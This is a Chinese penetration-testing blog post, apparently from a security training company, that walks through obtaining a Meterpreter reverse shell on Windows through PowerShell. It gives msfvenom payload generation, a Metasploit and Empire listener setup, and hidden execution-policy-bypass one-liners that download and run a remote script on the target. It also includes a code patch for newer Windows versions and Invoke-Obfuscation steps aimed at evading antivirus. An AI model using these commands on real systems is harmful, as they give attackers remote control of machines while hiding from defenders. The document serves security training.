经验总结
Meterpreterpowershell爬坑指南
2019-09-23 14:43

PowerShell是运行在Windows操作系统上实现对系统以及应用程序进行管理自动化的命令行脚本环境,PowerShell需要.NET环境的支持,使命令行用户可以调用系统环境很多强大的功能,在渗透测试中后渗透阶段会用到payload进行反弹shell,powershell是一个不错的选择。

本次测试使用了windows子系统kali rolling

1.jpg

Windows中的kali子系统最初是纯净版,无冗余服务和工具,自己需要什么就搭建什么,比较轻便,可以减少vmware的端口转发和nat服务等网络疑难杂症,在windows应用商店下载就好了,非常方便。

服务搭建Metasploit过程aptupdate; apt install metasploit-framework一条命令即可。

2.jpg

3.jpg

 

搭建好Metasploit后默认会有msfvenom,可以使用msfvenom生成powershellpayload。

msfvenom-p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xx.xxx.xxxLPORT=10086 -f psh-reflection --arch x64 --platform windows -fpsh-reflection -o test.ps1

4.jpg

生成test.ps1文件,将ps1文件保存到公网服务器中。(实战中通常可以使用加入ctf中常见的隐写手法)

在被攻击机执行命令:

powershell -windowstyle hidden -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString(‘http://xxx.xx.xx.xxx/xx/test.ps1’);test.ps1"

QQ截图20190923144847.jpg

开启msf进行接收shell

useexploit/multi/handler

setPAYLOAD windows/meterpreter/reverse_tcp

setLHOST 0.0.0.0

setLPORT 10086

exploit

结果测试在08server时可行,在高版本一点的windows中发现反弹一下就断开了。建议通常实战中都是搭好跟目标一样的环境,开始尝试杀软能不能过,payload是否能正常运行。

5.jpg

根据报错信息调试一番无果后尝试使用Empire了。

https://github.com/empireProject/Empire

安装完成后:

(Empire)> listeners

[!]No listeners currently active

(Empire:listeners) > uselistener meterpreter

(Empire:listeners/meterpreter) > set Host 192.168.1.3

(Empire:listeners/meterpreter) > execute

[*]Starting listener 'meterpreter'

[+]Listener successfully started!

(Empire:listeners/meterpreter) > launcher powershell

6.jpg

Powershell只是生成了一个Invoker-shellcode函数,调用它使用如下命令:Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost IP地址-Lport 端口-Force

所以可以在靶机执行命令行执行:C:\Users\Administrator>powershell-execbypass-c"IEX(New-ObjectNet.WebClient).DownloadString('http://x’x’x’x’x/msfps1.txt');Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost 192.168.1.3 -Lport10088 -Force

7.png

但是在windows1904版本以上会有报错,但将99行处的

$GetProcAddress= $UnsafeNativeMethods.GetMethod('GetProcAddress')

修改为

$GetProcAddress=$UnsafeNativeMethods.GetMethod('GetProcAddress',[reflection.bindingflags]"Public,Static",$null,[System.Reflection.CallingConventions]::Any, @((New-ObjectSystem.Runtime.InteropServices.HandleRef).GetType(), [string]),$null)

修改后可以正常反弹shell。

8.jpg

chcp65001可以更正msf编码显示问题

9.jpg

既然能成功运行,就可以考虑混淆免杀的问题

powershell混淆可以使用Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation

Import-Module./Invoke-Obfuscation.psd1;Invoke-Obfuscation

0.jpg

11.jpg

选择要混淆脚本的路径

setscriptpath C:\Users\Administrator\Desktop\msfps1.ps1

12.jpg

选择1,ascii编码

淆完是这样的效果

13.jpg

powershell-windowstyle hidden -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://xxx.xx.xx.xx/enc.txt');Invoke-Shellcode-Payload windows/meterpreter/reverse_http -Lhost 192.168.1.123 -Lport10088 -Force

 14.jpg

15.jpg

16.jpg

 

总结:

powershell兼容windows平台上其它调用,如可执行文件(exe),批处理bat和vbs等。只要学会分析脚本,懂得分析别人写的,然后自己写一个类似的也不是太难问题。本文只是用来生成meterpreter的payload,大家初步熟悉empire框架后可以深入学习其中真正强大的后渗透功能模块。

PowerShell相关的学习可以到合天网安实验室操作实验——PowerShell技术教程,通过PowerShell技术教程,可以让大家对PowerShell基础知识有基本的掌握,运用PowerShell技术实现windows服务器的运维和安全防护。

 

上一篇:利用Office文档属性执行payload
下一篇:我的内网渗透沉思录
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731